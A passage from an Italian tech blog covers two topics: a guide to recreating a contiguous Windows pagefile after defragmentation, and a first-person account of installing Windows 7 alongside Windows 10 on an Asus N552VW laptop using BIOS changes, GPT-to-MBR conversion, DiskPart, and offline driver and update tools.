Da adesso in poi si vedranno tantissimi file e cartelle dall’icona semi trasparente che prima non c’erano: sono gli elementi che Windows in genere nasconde perché l’utente non deve accedervi. Sono indispensabili per il funzionamento del sistema e non bisogna cancellarli ne spostarli ! In ogni caso, ora se guardiamo il contenuto del disco C: dovremmo poter vedere anche pagefile.sys, e le relative dimensioni.

Con Auslogic Disk Defrag, o un qualsiasi altro programma in grado di visualizzare lo stato di frammentazione dei file, facciamo un analisi del disco C: e clicchiamo sulle aree grigie, quelle non deframmentabili, per vedere che file contengono. Se abbiamo la memoria virtuale impostata, dovremmo trovare facilmente pagefile.sys in una di queste aree, che occupa tanti blocchi grigi. Se vi sono più aree grigie separate tra loro, e/o se i blocchi corrispondenti contengono tanti altri file, oltre al nostro pagefile.sys, allora è il caso di deframmentare anche lui.

In realtà pagefile.sys non verrà deframmentato, perché noi faremo in modo che venga cancellato dal sistema prima di deframmentare il disco, dopodiché ne ricreeremo uno nuovo con dimensioni fisse, non frammentato.

Disabilitiamo la memoria virtuale:

  • Chiudiamo Defrag, poi clicchiamo col destro sull’icona Computer e su Proprietà: si aprirà la finestra Sistema, apribile anche dal Pannello di Controllo
  • clicchiamo ora a sinistra su “Impostazioni di sistema avanzate” per aprire la finestra di impostazioni avanzate
  • nella scheda Avanzate, area Prestazioni, clicchiamo sul primo pulsante [Impostazioni] per aprire la finestra Opzioni prestazioni
  • anche qui c’è una scheda Avanzate: attiviamola e clicchiamo sul pulsante [Cambia] per modificare il file della memoria virtuale

pagefile

  • per disattivare il file di paging dovremo disattivare l’opzione “Gestisci automaticamente le dimensioni file di paging per tutte le unità” e, sotto all’elenco delle unità, selezionare l’ultima opzione “Nessun file di paging” e premere [Imposta]
  • confermiamo ogni azione quando richiesto, e riavviamo il PC.

Ora il nostro computer avrà a disposizione solo la ram come memoria primaria, quindi, a seconda di quanta ne abbiamo installata, programmi e operazioni varie potrebbero subire rallentamenti. In ogni caso questa condizione durerà fino a deframmentazione ultimata, dopodiché provvederemo a reimpostarla.

Prima di continuare, verifichiamo che il file di paging sia stato cancellato:

  1. torniamo sulle opzioni delle prestazioni e verifichiamo che nel riquadro Memoria virtuale ci sia scritto che non abbiamo nessun file di paging. Se non è così, clicchiamo nuovamente su [Cambia] per capire cosa abbiamo sbagliato. E’ possibile che in precedenza sia stato impostato un file di paging su una unità diversa  da C:.
  2. apriamo Explorer e controlliamo la root di C:. Con le opzioni di visualizzazione dei file protetti di sistema attivate, se il file pagefile.sys è ancora presente significa che non è stato cancellato. Se al punto 1 risulta che non viene utilizzata alcuna memoria virtuale, possiamo tranquillamente cancellarlo e svuotare il cestino.

A questo punto consiglierei di riavviare il PC in modalità provvisoria prima di procedere con la deframmentazione. Deframmentiamo e ottimizziamo il disco C: più volte e un ultima volta con l’opzione “Defrag & optimize” di Auslogics Disk Defrag e, una volta raggiunto il risultato desiderato, riavviamo il PC in modalità normale e reimpostiamo la memoria virtuale:

  • torniamo alla finestra Memoria virtuale: Computer > proprietà > Impostazioni di sistema avanzate > scheda Avanzate > Impostazioni (Prestazioni) > scheda Avanzate > Cambia (Memoria virtuale)
  • selezioniamo il disco C:
  • clicchiamo su “Dimensioni personalizzate”
  • inseriamo la quantità di ram che abbiamo installato sul computer nei campi Dimensioni iniziali e Dimensioni massime, espresse in MB. Ad esempio se si hanno 8 GB di ram, inseriamo 8.000 nei due campi. Per essere più precisi potremmo moltiplicare il numero di Giga per 1024: 8 x 1024 = 8192 MB
  • premiamo su [Imposta], confermiamo l’operazione ed eventualmente riavviamo il PC, se richiesto.

Il file di paging verrà ricreato ora tutto in una volta e in blocchi contigui, ovvero occupando una sola area del disco, massimizzando finalmente le sue prestazioni.

E finalmente, dopo tutta questa fatica, il nostro computer potrà dare il massimo di se’ ! Certo, alcune situazioni possono essere davvero irrecuperabili, e in questo caso potrebbe volerci una bella riformattazione, oppure derivare da fattori esterni come la presenza di adware, malware o virus in genere, per i quali è richiesta un’azione di rimozione virus o anche qui, una riformattazione.

In ogni caso, fare questo lavoro di manutenzione una volta ogni tanto, unitamente all’installazione di un buon antivirus e ad una navigazione responsabile, fa piuttosto bene al computer e spesso consente proprio di non arrivare a situazioni critiche.

 

Dual boot Windows 10 + Windows 7: errore di installazione 0x80300024

Recentemente mi è capitato di dover predisporre un dual boot su un Asus n552vw che monta Windows 10 di serie. La necessità di utilizzare un’apparecchiatura radiografica portatile fornita con i soli driver per Windows 7 a 32 bit mi ha portato a dover fare una scelta tra:

  • acquistare un netbook con Windows 7 a 32 bit da allegare all’apparecchiatura,
  • installare Oracle VirtualBox con Windows 7 installato su Windows 10,
  • creare un dual boot con Windows 7 su una partizione dedicata, per poter avviare il PC con uno dei 2 sistemi a scelta.

Quella del netbook non era una malvagia idea. Considerando il costo di un Windows 7 nuovo, con un centinaio di euro in più avrei potuto avere un nuovo PC, leggerissimo da infilare nella borsa della macchina radiografica. Ma avendo già un costosissimo e nuovissimo portatile, e dovendo optare per una soluzione economica, ho deciso di lasciare questa soluzione per ultima.

VirtualBox

A questo punto, prima di mettere mano alle partizioni, ho pensato di provare VirtualBox di Oracle, per avere un Windows 7 “virtuale”, scoprendo però che la particolare modalità di gestione delle USB non è compatibile con i suddetti driver.

Non restava altro che tentare il dual boot !

PREMESSA

Su un PC con Windows 7, installare Windows 10 in dual boot su un PC dotato di Windows 7 è piuttosto semplice:

  • eseguo una deframmentazione sul disco da ripartizionare
  • con Gestione Disco di Windows 7 (strumenti di amministrazione > gestione computer > gestione disco) riduco la partizione di Windows 7 (tasto destro sul disco > riduci partizione)
  • creo una nuova partizione MBR o GPT
  • inserisco il CD/USB di Windows 10
  • avvio il PC da CD-ROM o USB
  • installo Windows 10 selezionando la nuova partizione come destinazione
  • sfrutto il manager di boot di Windows 10 all’accensione del PC per scegliere quale Windows far partire.

L’operazione non comporta particolari problematiche e Windows 10 riconosce e si adatta alla nuova partizione.

Se però ci si trova di fronte alla necessità di installare Windows 7 su un nuovo PC con Windows 10, si può andare incontro a diverse problematiche, derivanti dal tipo di hardware, dalle impostazioni del bios e dal tipo di formattazione dell’hard disk.

CONDIZIONI “QUASI” ESTREME: ASUS N552VW

Il portatile in questione, prodotto da Asus, nasce con Windows 10 e sembra essere confezionato e configurato appositamente per questo sistema operativo. Come tutti i nuovi PC, è corredato di Bios UEFI, Fast Boot e partizione GPT. Inoltre la maggior parte delle sue periferiche, comprese le USB, sono completamente sconosciute a Windows 7, e ciò rende la configurazione del sistema operativo decisamente complicata, anche perchè Asus ha rilasciato i driver solo per Windows 10.

Asus-N552VWLa fortuna di questo PC è che è dotato di un disco SSD, su cui ci sono Windows 10 e relativa partizione di ripristino, e un hard disk SATA usato come disco “Dati”. Dunque ho potuto evitare di toccare l’SSD installando Windows 7 in una partizione del disco secondario.

PRIMA DI COMINCIARE: OPERAZIONI PRELIMINARI

Come prima operazione ho creato un’immagine di sistema di Windows 10 (start > impostazioni > Aggiornamento e Ripristino > Backup) tramite la sua funzione di backup, e creato un DVD di ripristino. Se dovessi pasticciare troppo con il boot e le partizioni, potrò sempre riavviare Windows 10 grazie a questo DVD, e ripristinarlo tramite il backup.

Poi ho verificato che le cartelle utente di Windows 10 puntassero al disco C: di sistema:

  • in Impostazioni > Archiviazione ho impostato tutti i campi “Posizioni di salvataggio” in modo che puntassero al disco C:archiviazione
  • nella cartella utente, tasto destro su documenti/immagini/desktop eccetera > proprietà > Percorso, ho verificato il percorso di ogni cartella, impostandola se necessario per puntare a “C:\Utenti\[nome-utente]\…“.archiviazione2
  • Infine ho fatto il backup delle cartelle del disco secondario sul disco C:. In questo caso avevo Steam e Adobe su D:, quindi le ho copiate su C: (ma anche su un disco esterno va benone) prevedendo di ripristinarle su D: dopo aver installato Windows 7.

Ora Windows 10 non ha più collegamenti col disco secondario, e se dovessi combinare un guaio, potrò sempre ripristinare il backup.

Prevedendo di dividere il disco in 2 partizioni, ho fatto anche una deframmentazione per assicurarmi il maggiore spazio possibile. In questo caso ho usato l’utilità di deframmentazione dischi di Windows, ma spesso mi è capitato di trovarmi davanti a dischi pienissimi e frammentatissimi, ed ho preferito fare diversi passaggi con un programma free esterno che mi ha permesso di visualizzare lo stato del disco ed eseguire un’ottimizzazione approfondita: Auslogics Disk Defrag. Windows infatti non è in grado di ridurre una partizione “occupata” da file: lo spazio deve essere vuoto.

LA STRADA PER IL DUAL BOOT

In breve, provando ad installare Windows 7 su una partizione del disco secondario ho scoperto che:

  • il PC non ne voleva sapere di partire da CD,
  • a Windows 7 non piace un disco in GPT come disco di sistema,
  • Windows 7 va in confusione con dischi così diversi tra loro e il bios UEFI.

Ad ogni tentativo ho scoperto una magagna e dovuto trovare una soluzione, a partire dal tasto da schiacciare per visualizzare il menu di boot, per arrivare a scontrarmi con partizioni GPT e MBR, e ricerca del disco SSD dentro il portatile. Ebbene sì, alla fine di tutto, ho dovuto smontare provvisoriamente il disco con Windows 10 per rimontarlo solo alla fine !

Andiamo per gradi …

IMPOSTAZIONE DEL BIOS

Tenendo premuto F2 all’accensione del PC, sono riuscito ad entrare nel BIOS.

bios1Volevo solo far partire il PC da CD quindi ho cercato le opzioni di boot, scoprendo che ne esisteva una sola: la partizione di avvio di Windows 10.

bios2
Una volta disabilitato il Fast Boot e abilitata le opzioni CSM e le OpROM policies però sono apparse tutte le periferiche ! In effetti il Fast Boot serve proprio a permettere al bios UEFI di caricare il minimo indispensabile per poi lanciare Windows, e il Secure Boot impedisce l’avvio della macchina da supporti differenti da quello registrato con il sistema operativo (Win 8 / 10). L’opzione CSM serve proprio a disabilitare questi controlli ed attivare le OpROM tradizionali e caricare un sistema “normale” come Win 7 o Ubuntu.

bios3

Nota: a questo link trovate una spiegazione esauriente delle varie sigle citate (UEFI, CSM, Secure Boot …) e di ciò che fanno: rog.asus.com.

Tenendo premuto il pulsante [Esc] all’accensione del PC infatti ora si presenta il menu di boot che permette di scegliere da quale disco far partire il sistema. Ottimo !

boot-menu

Uno svantaggio di questa configurazione “classica” è certamente la velocità di avvio, che è drasticamente peggiorata. Questo portatile poi resta “morto” per circa 6 o 7 secondi, con il solo pulsante di avvio “acceso”, dopodichè la tastiera si illumina e solo dopo un paio di secondi appare la scritta “Asus” e il caricamento del sistema. Il problema sembra inevitabile ma in periodi in cui non si usa Windows 7, o se lo si usa poco, è possibile ripristinare il Fast Boot e quindi la velocità di avvio iniziale.

Bene, ora bisogna solo decidere dove installare Windows 7 e preparare la relativa partizione, e poi via col dual boot !

PRIMA PROVA: UNA NUOVA PARTIZIONE PER WINDOWS 7

Con Gestione Disco di Windows 7 (strumenti di amministrazione > gestione computer > gestione disco) ho ridotto la partizione del disco D: (tasto destro sul disco > riduci volume) di circa 80 GB, ed ho creato una seconda partizione “primaria” con lo spazio recuperato, formattandola in NTFS e chiamandola “Win7”.

gestione disco1

Ho inserito il cd Windows e riavviato il PC tenendo premuto [Esc]. Ho scelto il DVD dal menu di boot e atteso che partisse l’installazione di Windows 7. Una volta cliccato su “Personalizzata (utenti esperti)”, Windows mi ha presentato la lista delle partizioni disponibili per scegliere su quale essere installato. Ho cliccato sulla partizione da 80 GB badando bene che fosse quella giusta, e da qui l’amara scoperta: un messaggio mi ha comunicato che Windows non poteva essere installato in quella partizione.

Con una breve ricerca mi sono accorto che il disco era formattato in formato GPT e che Windows 7 a 32 bit esige invece il formato MBR per il disco di sistema.

SECONDA PROVA: CONVERSIONE DA GPT A MBR

Con un fantastico programmino in versione gratuita, AOMEI Partition Assistant Standard Edition 6.0, ho convertito il disco secondario da GPT a MBR. Basta eseguire il programma, cliccare col destro sul disco in questione, selezionare “convertire in MBR”, e premere il pulsante “Applicare”, a sinistra nel menu in alto. In pochi secondi il disco è diventato MBR, senza perdere dati o partizioni !

aomei-partition-assist

Ritento l’installazione di Windows e questa volta mi apparse il famigerato messaggio di errore:
Impossibile installare Windows: errore 0x80300024

Riparto con la ricerca e capisco che ci sono diversi fattori che causano questo errore, legati fondamentalmente ad una qualche incompatibilità rilevata nelle periferiche.

TERZA PROVA: DISCO DEDICATO

Dopo aver verificato tutte le impostazioni, decido di riformattare completamente il disco D: e “offrirlo” per intero, e fresco di configurazione, a Windows 7. La cosa però non ha funzionato neanche dopo averlo riconfigurato utilizzando DiskPart di Windows.

DiskPart: partizioniamo un disco da console di setup di Windows

In effetti se non si ha la fortuna di avere già un sistema operativo che ci aiuta a configurare i dischi, bisogna usare Diskpart. Basta far partire l'installazione di Windows 7 e premere Shift+F10 quando appare la prima schermata di setup. Nella finestra "Dos" che si apre, bisogna digitare "DiskPart" per aprire la relativa console. A questo punto è possibile configurare il disco utilizzando i seguenti comandi:

>list disk (per vedere gli ID dei dischi e riconoscere quello da partizionare)
>select disk 1 (cambia 1 con l'ID del disco da partizionare)
>clean
>create partition primary
>select partition 1
>active
>format fs=ntfs quick
>exit

Ed ecco un disco ripartizionato e fresco di formattazione, pronto per ospitare il sistema operativo.

QUARTA PROVA: via l’SSD !

L’errore 0x80300024 dice che dell’hardware, o una determinata configurazione del disco, sta dando fastidio all’installer di Windows. Io gli ho messo a disposizione un HDD MBR appena formattato, disabilitando UEFI/Fast Boot e abilitando il CSM e le policy PXE OpROM, insomma tutto quello che serve per la “retrocompatibilità” con Windows 7. Certo ci poteva essere chissà quale altro hardware che gli dava fastidio, ma la cosa più vicina alle esigenze di installazione in fase di scelta della partizione sembrava essere proprio la presenza l’altro disco: quello SSD.

Munito di cacciavite magnetico a stella e leva in plastica ho smontato il coperchietto posteriore, poi il disco SATA secondario, tolto il DVD e infine l’intero guscio posteriore del portatile, utilizzando la leva per sbloccare le linguette perimetrali che lo tengono attaccato allo chassis. Una volta identificato l’SSD, che in questo PC è una scheda elettronica inserita in uno slot, in alto a sinistra, giusto sotto i tubi del dissipatore, ho provveduto a scollegare il connettore della batteria, per sicurezza, e l’ho smontato.
chassis1Per aprire il portatile è necessario rimuovere tutte le viti posteriori, le 3 viti sotto il DVD e quelle sotto il coperchietto posteriore, dove si trova il disco secondario.

Dopo aver riposto l’SSD in un sacchetto antistatico e rimontato il disco secondario, il DVD e il guscio in plastica, bloccandoli con un paio di viti, ho riavviato il PC che questa volta ha caricato il DVD di Windows senza dover aprire il menu di boot.
Finalmente, per la prima volta sono riuscito ad andare oltre la selezione del disco ! E così è partita l’installazione di Windows 7.

LE PARTIZIONI DI WINDOWS 7

Alla fine mi sono reso conto di aver installato Windows 7 sul disco secondario senza prima creare le 2 partizioni. Poco male: una volta terminata l’installazione ho ridotto la partizione di Windows 7 a 80 GB, creandone una grande, secondaria, da usare come disco “DATI” sia per il 10 sia per il 7. Quindi una volta ridotta la partizione primaria di quello che Windows 7 vede come disco C:, ho creato la partizione D: (o E, o la lettera che si preferisce) con lo spazio restante. Su un HDD da 1 TB si vedono circa 940.000 MB disponibili: inserendo 840.000 nel campo “riduci”, ho ottenuto C: da 100 GB e D: da 840 GB circa.

Un’altra operazione, vivamente consigliata, è quella di nascondere le partizioni inutili ai 2 sistemi operativi, e far puntare le cartelle utente al disco “DATI”, creando una cartella “users” per ogni sistema (“users-w10” e “users-w7”), per poter accedere ai documenti da entrambi i Windows. Su Windows 10 è inutile che nel “mio computer” vengano visualizzate le partizioni di ripristino e di Window 7, e anche su quest’ultimo, vedere il disco SSD privato di Windows 10 è poco pratico, se non pericoloso.

Per nascondere i dischi basta accedere a “Gestione Disco”, cliccare col destro sulla partizione da nascondere e selezionare “cambia lettera o percorso di unità”; nella finestrella che si aprirà, cliccare su “Rimuovi” e premere OK. Il disco non viene toccato, i dati restano e basterà riassegnargli nuovamente una lettera per farlo riapparire anche in “Gestione Risorse”.

gestione disco2

COME FARE IL DUAL BOOT ?

Il bios è impostato per avviare il PC dal disco SSD con Windows 10, che è il sistema che verrà usato più di frequente. Il fatto che il PC non chieda quale sistema avviare ad ogni accensione non è male … avvio più veloce, senza la necessità di intervento dell’utente.

La soluzione ideale quindi è quella di sfruttare il menu di boot del bios, che appare tenendo premuto [Esc] durante l’accensione. Basta selezionare il disco secondario e parte Windows 7 !

boot-menu

I DRIVER PER WINDOWS 7

La domanda che mi faccio sempre mentre aspetto il primo avvio di Windows 7 è “chissà se va la scheda di rete o se devo scaricare i driver con un altro PC?”. A volte infatti capita che Windows non abbia dei driver completamente compatibili col chipset di turno e con le periferiche comuni, e la scheda di rete è la prima a farne le spese. In questi casi basta avere un altro PC con cui scaricare i driver del chipset ed Ethernet, e copiarli sul primo tramite USB.

Ma in questo caso Windows 7 ha riconosciuto ben poco: scheda video in modalità compatibile, lettore DVD generico, tastiera italiana standard e … niente altro ! Non funzionava nulla: rete, wifi, USB … il PC era completamente isolato. E come se non bastasse, la Asus offre il download dei driver di questo portatile solo per Windows 10.

In questo caso l’unica possibilità è quella di masterizzare un CD col secondo PC, su cui inserire il software da installare sul portatile. In realtà la presenza del disco SSD e di Windows 10 mi ha permesso di evitare tutto ciò e scaricare driver e software salvandoli sul disco “DATI”, condiviso dai 2 sistemi operativi.

Ma … quali driver ?
Con un programma freeware chiamato HWiNFO ho potuto prendere nota del nome del chipset e delle varie periferiche, e cercare su Internet i relativi driver. In questo caso ho anche avuto un po’ di fortuna, perché la Intel mette a disposizione un utilissimo tool che identifica i suoi prodotti e permette di scaricarne i driver. Su https://downloadcenter.intel.com è infatti possibile scaricare ed eseguire “Intel driver Update Utility” che farà una scansione del sistema elencando l’hardware Intel rilevato. Grazie a questo tool ho potuto scaricare i driver di chipset, USB, scheda wifi e scheda grafica, mentre la scheda LAN RealTek ha avuto bisogno di una ricerca a parte, sul sito del costruttore.

hw2

In ogni caso utilizzando marca e sigla della periferica, generalmente si riesce a trovare un driver adatto o compatibile. Anche se la mia ricerca, una volta scoperto che la scheda audio funzionava, si è fermata lì, perché le funzioni Asus della tastiera, la gestione della doppia scheda video Intel e nVidia e altri piccoli dettagli non erano di utilità al fine di usare l’apparecchiatura radiografica.

drivers

WINDOWS 7 UPDATE

Da diversi mesi mi capita sempre più spesso di non riuscire a scaricare gli update del 7 … ho letto e seguito mille guide su come risolvere il problema, senza però arrivare mai a nulla. La finestrella di “ricerca in corso” resta lì, ferma per giorni. Dico davvero: 24 ore di ricerca consecutiva senza mai presentarmi uno straccio di aggiornamento, se non il primo che viene fatto, che aggiorna solo il motore di Windows Update.

Esiste una soluzione fantastica a questo problema: WSUS Offline Update. Questo programma gratuito permette di scaricare tutti gli aggiornamenti necessari (da un qualsiasi PC) per poi installarli in modalità offline, ovvero anche senza collegamento internet.

wsuofflineUna volta scaricato da www.wsusoffline.net, estrarre la cartella contenuta nell’archivio compresso e salvarla proprio PC (ovunque). Dentro la cartella “wsusoffline“, fare doppio click su “UpdateGenerator.exe” e selezionare le varie opzioni per il download dalla finestra principale. Bisogna decidere tra x86 e x64 (Windows a 32 o a 64 bit), scegliere se scaricare i framework .NET, Windows Defender, Microsoft Essentials e anche le varie opzioni per Microsoft Office. Si possono scaricare gli update di Windows 7, 8 e 10. Infine è possibile copiare gli update su USB, salvarli in locale o creare una immagine ISO da masterizzare su DVD.

Una volta scaricato tutto, il programma comunicherà le modalità di installazione. Ad esempio se abbiamo salvato gli aggiornamenti sull’hard disk, si dovrà cliccare su “UpdateInstaller.exe“, nella cartella “wsusoffline\client“, e poi scegliere se permettergli di riavviare da solo il PC o farlo noi manualmente. Se si sceglie l’opzione manuale, dopo il riavvio (se comunicato espressamente dalla finestra di lavoro di wsusoffline), bisognerà eseguire “Update.cmd“, sempre nella cartella “wsusoffline\client“, per proseguire con gli update.

CONCLUSIONI

Ci sono tantissime guide passo passo per creare un dual boot, e tanti accorgimenti e consigli per evitare i problemi di installazione sopracitati, ma ogni caso richiede una particolare attenzione all’analisi del proprio hardware. E spesso piccoli dettagli che sembrano insensati sono invece ciò che ci separa dalla soluzione.

I primi tentativi che ho fatto sono serviti ad arrivare alla soluzione, ovvero rimuovere il disco SSD. Ma se non avessi convertito il disco da GPT a MBR, non sarei comunque riuscito ad installare Windows 7 !

Cosa non ho provato ?

Non so se sarei riuscito ad installare Windows 7 in una partizione dell’SSD di Windows 10… probabilmente avrei dovuto convertirlo in MBR, riformattarlo completamente, installare Windows 7, creare una seconda partizione e reinstallare Windows 10, che alla fine si adatta e gestisce anche il boot manager.

Dunque, riassumendo:

  • disabilitare l’opzione del bios “Fast Boot” e abilitare il “CSM”
  • preparare un disco (o partizione) in formato MBR
  • togliere gli eventuali altri HDD, soprattutto SSD e di sistema di Windows 10
  • installare Windows 7
  • rimontare l’SSD
  • dividere il disco di Win7 in 2 partizioni creandone una grande e condivisa (D: DATI)
  • spostare le cartelle utente su “DATI”
  • ricercare i driver con HWiNFO su Windows 10
  • installare i driver in Windows 7
  • aggiornare Windows 7 con WSUS Update

Si sono rivelati molto utili i seguenti programmi: